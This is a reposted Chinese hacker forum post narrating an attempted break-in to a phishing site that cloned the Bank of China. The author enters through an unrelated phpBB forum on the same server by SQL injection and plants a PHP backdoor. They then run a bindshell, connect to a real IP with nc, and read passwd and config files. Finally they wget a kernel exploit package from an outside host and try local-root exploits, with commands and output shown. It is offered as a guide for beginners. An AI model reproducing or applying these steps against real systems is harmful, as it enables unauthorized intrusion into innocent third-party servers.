我那次入侵中国虚假银行的实录

信息来源:internet


本来不打算把这个不成功的入侵写出来的,后来有几个朋友想看,既然能在内部交流,也没有什么见不得人的,索性发出来,初学者能够借鉴一点经验,高手能够在此基础上作更多尝试,我也想多学点东西。
27日晚看到天天网的一片报道:中国银行网站再次遭遇克隆 假网站远在北美,
本站转载路径:http://www.coolersky.com/web/news/20050228014041.asp
本来要整理规划的,既然出了这个事情,好歹看看吧。废话不说,开始!
1、收集信息

服务器信息:
Apache/1.3.33
PHP/4.3.9
网站主文档:
_blank>http://www.banochi.net/english/index.shtml


查看虚假网站,基本没发现什么可用的东西,估计只有记录密码和ip的cgi程式。除了服务器入侵,还能够考虑旁注。
检索其他站点,分析了几个php站点的注入,没太多利用的地方。想起phpbb的洞洞,写段代码检索一下viewtopic.php文档,找到一个phpbb2.0.10入侵点

_blank>http://www.bits-clsu.org/forum/viewtopic.php?t=1


事后才想起能够用旁注工具直接来检索,反正都相同。
2、上传木马
利用phpbb的洞,漏洞介绍“phpBB远程任意SQL注入漏洞”,“phpbb<2.0.11程式的sql注入漏洞分析”上传php后门。
3、生成bindshell
我还在看文档的时候,Edward就已做了个bindshell出来,呵呵!基本方法:
上传bindshell.c

gcc -o /tmp/bind bindshell.c
/tmp/bind


nc上去看看,还是在shell下比较方便。

nc -vv 216.22.48.72 7758


4、采集系统信息
拿到webshell后就能够获得一些基本的信息包括passwd、httpd.conf等等,检索到虚假网站的绝对路径/home/banochin/public_html/,在webshell中查看文档创建的时期是服务器时间2004-12-15,在其cgi-bin目录下有如下文档

文档 创建日期 最后修改 大小 属性
[member] 2005-02-21 21:39:03 2005-02-21 21:39:03 <dir> 0700
errlog.dat 2005-02-28 00:32:22 2005-02-28 00:32:22 140.186 KB 0600
id.dat 2005-02-24 10:48:35 2005-02-24 10:48:35 1.727 KB 0600
index.htm 2004-12-15 03:19:51 2004-12-15 03:19:51 0.697 KB 0644
pwd.dat 2005-02-25 00:36:15 2005-02-25 00:36:15 0.170 KB 0600
pwdbak.dat 2004-12-15 03:24:17 2004-12-15 03:19:55 0.516 KB 0600
security.cgi 2004-12-15 03:24:03 2004-12-15 03:20:00 44.363 KB 0700
visemailer.cgi 2004-12-15 03:24:04 2004-12-15 03:20:02 3.554 KB 0700


能够看到最后记录的密码日期是2月25日,而浏览目录后发现还包括了很多其他语言的中国银行网站内容,但基本都是html文档,想必是从中国银行直接webdump下来的。
内核信息,因为我们对其目录没有写权限,接着要做的就是提权了。前后大概用了1小时左右,而剩下的提权工作却花了我1天多的时间,结果还是没搞定,郁闷!

uname -r
2.4.20-021stab022.11.777-enterprise


5、本地提升权限测试
增加环境变量
export PATH=/usr/bin:$PATH
否则会出现collect2: cannot find `ld'错误!
(1)Linux Kernel moxa串行驱动BSS溢出漏洞
grsecurity 2.1.0 release / 5 Linux kernel advisories
URL:
_bug&do=view&bug_id=7446&keyword=" target=_blank>http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7446&keyword=
_blank>http://lists.netsys.com/pipermail/full-disclosure/2005-January/030660.html
文档:
_and_patches.tgz" target=_blank>http://grsecurity.net/~spender/exploits_and_patches.tgz
测试:

wget _and_patches.tgz" target=_blank>http://grsecurity.net/~spender/exploits_and_patches.tgz
tar -zxvf exploits_and_patches.tgz
cd exploits_and_patches
make alloc=0x100000
------------------------------------------------------------------------
nasm -f elf -DALLOCATE=32482374 mlock-dos.S
make: nasm: Command not found
make: *** [ all ] Error 127
------------------------------------------------------------------------


结论:
缺少nasm,即使上传rpm也不能够执行安装!
(2)Linux Kernel uselib()特权提升漏洞
Linux kernel sys_uselib local root vulnerability
URL:
_bug&do=view&bug_id=7326&keyword=" target=_blank>http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7326&keyword=
_blank>http://marc.theaimsgroup.com/?l=bugtraq&m=110513415105841&q=raw
_blank>http://marc.theaimsgroup.com/?l=bugtraq&m=110512575901427&w=2
_blank>http://isec.pl/vulnerabilities/isec-0021-uselib.txt
文档:
_blank>http://marc.theaimsgroup.com/?l=bugtraq&m=110512575901427&q=p3
测试:

gcc -O2 -fomit-frame-pointer elflbl_v108.c -o elflbl_v108
------------------------------------------------------------------------
elflbl_v108.c: In function `check_vma_flags':
elflbl_v108.c:545: warning: deprecated use of label at end of compound statement
------------------------------------------------------------------------
./elflbl_v108
------------------------------------------------------------------------
child 1 VMAs 0
[ ] moved stack bff73000, task_size=0xc0000000, map_base=0xbf800000
[ ] vmalloc area 0xc7c00000 - 0xcf707000
Wait... -Segmentation fault
-------------------------------------------------------------------------
gcc -O2 -fomit-frame-pointer elflbl_v109.c -o elflbl_v109
./elflbl_v109
------------------------------------------------------------------------

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!